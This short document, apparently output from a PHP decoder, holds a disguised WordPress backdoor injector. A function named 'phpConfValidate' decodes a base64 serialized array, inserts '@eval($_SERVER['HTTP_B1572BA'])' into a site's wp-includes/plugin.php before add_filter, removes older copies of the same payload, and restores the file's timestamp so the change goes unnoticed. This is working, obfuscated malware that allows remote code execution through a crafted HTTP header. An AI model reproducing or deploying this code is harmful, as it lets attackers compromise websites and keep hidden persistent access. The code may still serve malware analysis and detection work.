PHP Decode

phpConfValidate('YTo0OntpOjA7czo1NDoiL3Vzci9ob21lL3ZhbnRyYW5zZmVybWFkcmlkL3d3dy93cC1pbmNsdWRlcy9wbHVnaW4ucGhwIjtpOjE7czo5ODoifmV2YWxbXlwoXG5ccl0qXChbXlwkXSpcJF9bQS1aXXs2fVteXFtdKlxbW15cJ1wiXSpbXCdcIl1IVFRQX0IxNTcyQkFbXCdcIl1bXlxdXSpcXVteXCldKlwpW147XSo7fnMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF9CMTU3MkJBJ10pOyI7aTozO3M6MzY6In5eXHMqZnVuY3Rpb25ccythZGRfZmlsdGVyW15ce10rXHt+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}